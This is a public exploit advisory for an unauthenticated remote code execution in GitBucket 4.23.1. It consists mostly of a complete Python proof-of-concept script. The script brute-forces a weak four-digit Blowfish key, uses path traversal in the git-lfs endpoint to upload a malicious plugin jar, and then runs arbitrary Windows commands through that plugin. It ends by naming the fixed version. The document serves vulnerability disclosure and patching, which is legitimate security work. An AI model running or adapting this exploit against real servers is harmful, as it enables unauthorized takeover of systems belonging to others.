GitBucket 4.23.1 - Remote Code Execution

EDB-ID:

44668

CVE:

N/A




Platform:

Java

Date:

2018-05-21


# Exploit Title: GitBucket 4.23.1 Unauthenticated RCE
# Date: 21-05-2018
# Software Link: https://github.com/gitbucket/gitbucket
# Exploit Author: Kacper Szurek
# Contact: https://twitter.com/KacperSzurek
# Website: https://security.szurek.pl/
# Category: remote

1. Description
 
Abusing weak secret token and passing insecure parameter to File function.
 
2. Proof of Concept

import os 
try:
	from Crypto.Cipher import Blowfish
except:
	print "pip install pycrypto"
	os._exit(0)

import binascii
import base64
import urllib2
import urllib
import time
import sys
import pickle

print "GitBucket 4.23.1 Unauthenticated RCE"
print "by Kacper Szurek"
print "https://security.szurek.pl/"

print "Working only when server is installed on Windows"

def PKCS5Padding(string):
    byteNum = len(string)
    packingLength = 8 - byteNum % 8
    appendage = chr(packingLength) * packingLength
    return string + appendage

def encrypt(content, key):
    content = PKCS5Padding(content)
    cipher = Blowfish.new(key, Blowfish.MODE_ECB)
    return base64.b64encode(cipher.encrypt(content))

def get_file(git_bucket_url, file, key, expiration_time):
    payload = "{} {}".format(expiration_time, file)
    authorization = encrypt(payload, key)
    url = "{}/git-lfs/aa/bb/{}".format(git_bucket_url, file)

    try:
        request = urllib2.Request(url)
        request.add_header("Authorization", authorization)   
        result = urllib2.urlopen(request).read()
        return result

    except Exception, e:
        # If payload is correct and file does not exist, we got error 400
        if not "Error 500" in e.read():
            return 'OK'

def put_file(git_bucket_url, file, key, expiration_time, content):
    payload = "{} {}".format(expiration_time, file)
    authorization = encrypt(payload, key)
    url = "{}/git-lfs/aa/bb/{}".format(git_bucket_url, file)

    try:
        request = urllib2.Request(url, data=content)
        request.add_header("Authorization", authorization)
        request.get_method = lambda: 'PUT' 
        result = urllib2.urlopen(request)
        return result.getcode() == 200
        
    except Exception, e:
        return None

def send_command(git_bucket_url, command):
    try:
        result = urllib2.urlopen("{}/exploit?{}".format(git_bucket_url, urllib.urlencode({'command' : command}))).read()
        return result
    except:
        return None

def pickle_key(url, key):
    output = open(pickle_path, "wb")
    pickle.dump({'url' : url, 'key' : key}, output)
    output.close()
    print "[+] Key pickled for futher use"


def unpickle_key(url):
    if os.path.isfile(pickle_path):
        pickled_file = open(pickle_path, "rb")
        data = pickle.load(pickled_file)
        pickled_file.close()
        if data['url'] == url:
            return data['key']
    return None

if len(sys.argv) != 3:
    print "[-] Usage: exploit.py url command"
    os._exit(0)


exploit_jar = 'exploit.jar'
url = sys.argv[1]
command = sys.argv[2]
pickle_path = 'gitbucket.pickle'

if url.endswith('/'):
    url = url[0:-1]

try:
    is_gitbucket = urllib2.urlopen("{}/api/v3/".format(url), timeout=5).read()
except:
    is_gitbucket = ""

if not is_gitbucket.startswith('{"rate_limit_url"'):
    print "[-] Probably not gitbucket url: {}".format(url)
    os._exit(0)

if not os.path.isfile(exploit_jar):
    print "[-] Missing exploit file: {}".format(exploit_jar)
    os._exit(0)

expiration_time = int(round(time.time() * 1000))+(1000*6000)
print "[+] Set expire time to: {}".format(expiration_time)

print "[+] Start search blowfish key: "
for i in range(0, 10000):
    if i % 100 == 0:
        print "+",

    potential_key = unpickle_key(url)
    if potential_key:
        print "\n[+] Unpickle key, try it"
    else:
        potential_key = str(i).zfill(4)

    config_path = "non_existing_file"
    config_content = get_file(url, config_path, potential_key, expiration_time)
    if config_content:
        print "\n[+] Found blowfish key: {}".format(potential_key)
        print "[+] Config content:\n{}".format(config_content)

        exploit_path = "..\..\..\..\plugins\exploit.jar"
        f = open(exploit_jar, "rb")
        exploit_content = f.read()
        f.close()
        if put_file(url, exploit_path, potential_key, expiration_time, exploit_content):
            print "[+] Wait few second for plugin load"
            time.sleep(5)
            command_content = send_command(url, "cmd /c {}".format(command))

            if command_content:            
                    pickle_key(url, potential_key)
                    print command_content
            else:
                print "[-] Cannot execute command"
            
        else:
            print "[-] Cannot upload exploit.jar"
        
        os._exit(0)

3. Solution:
  
Update to version 4.24.1
  
https://github.com/gitbucket/gitbucket/releases/download/4.24.1/gitbucket.war